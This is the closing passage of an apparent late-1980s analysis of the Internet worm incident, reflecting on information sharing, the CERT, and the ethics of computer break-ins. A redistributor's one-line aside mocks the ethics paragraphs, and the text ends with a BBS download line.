  693. ability to copy source and binary files from machine to machine, and the
  694. widespread availability of both source and expertise allowed personnel
  695. throughout the country to work together to solve the infection despite the
  696. widespread disconnection of parts of the network.  Although the immediate
  697. reaction of some people might be to restrict communication or promote a
  698. diversity of incompatible software options to prevent a recurrence of a worm,
  699. that would be an inappropriate reaction.  Increasing the obstacles to open
  700. communication or decreasing the number of people with access to in-depth
  701. information will not prevent a determined hacker--it will only decrease the
  702. pool of expertise and resources available to fight such an attack.  Further,
  703. such an attitude would be contrary to the whole purpose of having an open,
  704. research-oriented network. The worm was caused by a breakdown of ethics as
  705. well as lapses in security--a purely technological attempt at prevention will
  706. not address the full problem, and may just cause new difficulties.
  707.  
  708. What we learn from this about securing our systems will help determine if
  709. this is the only such incident we ever need to analyze.  This attack should
  710. also point out that we need a better mechanism in place to coordinate
  711. information about security flaws and attacks.  The response to this incident
  712. was largely ad hoc, and resulted in both duplication of effort and a failure
  713. to disseminate valuable information to sites that needed it.  Many site
  714. administrators discovered the problem from reading newspapers or watching
  715. television.  The major sources of information for many of the sites affected
  716. seems to have been Usenet news groups and a mailing list I put together when
  717. the worm was first discovered.  Although useful, these methods did not ensure
  718. timely, widespread dissemination of useful information--especially since they
  719. depended on the Internet to work!  Over three weeks after this incident some
  720. sites were still not reconnected to the Internet.  The worm has shown us that
  721. we are all affected by events in our shared environment, and we need to
  722. develop better information methods outside the network before the next
  723. crisis.  The formation of the CERT may be a step in the right direction, but
  724. a more general solution is still needed.
  725.  
  726. Finally, this whole episode should prompt us to think about the ethics and
  727. laws concerning access to computers.  The technology we use has developed so
  728. quickly it is not always easy to determine where the proper boundaries of
  729. moral action should be.  Some senior computer professionals started their
  730. careers years ago by breaking into computer systems at their colleges and
  731. places of employment to demonstrate their expertise and knowledge of the
  732. inner workings of the systems.  However, times have changed and mastery of
  733. computer science and computer engineering now involves a great deal more than
  734. can be shown by using intimate knowledge of the flaws in a particular
  735. operating system.  Whether such actions were appropriate fifteen years ago
  736. is, in some senses, unimportant.  I believe it is critical to realize that
  737. such behavior is clearly inappropriate now.  Entire businesses are now
  738. dependent, wisely or not, on the undisturbed functioning of computers.  Many
  739. people's careers, property, and lives may be placed in jeopardy by acts of
  740. computer sabotage and mischief.
  741.  
  742. As a society, we cannot afford the consequences of such actions. As
  743. professionals, computer scientists and computer engineers cannot afford to
  744. tolerate the romanticization of computer vandals and computer criminals, and
  745. we must take the lead by setting proper examples.  Let us hope there are no
  746. further incidents to underscore this lesson.
  747.  
  748. {Pretty cool except for those last two paragraphs of BS huh?}
  749.  
  750. Downloaded From P-80 International Information Systems 304-744-2253
  751.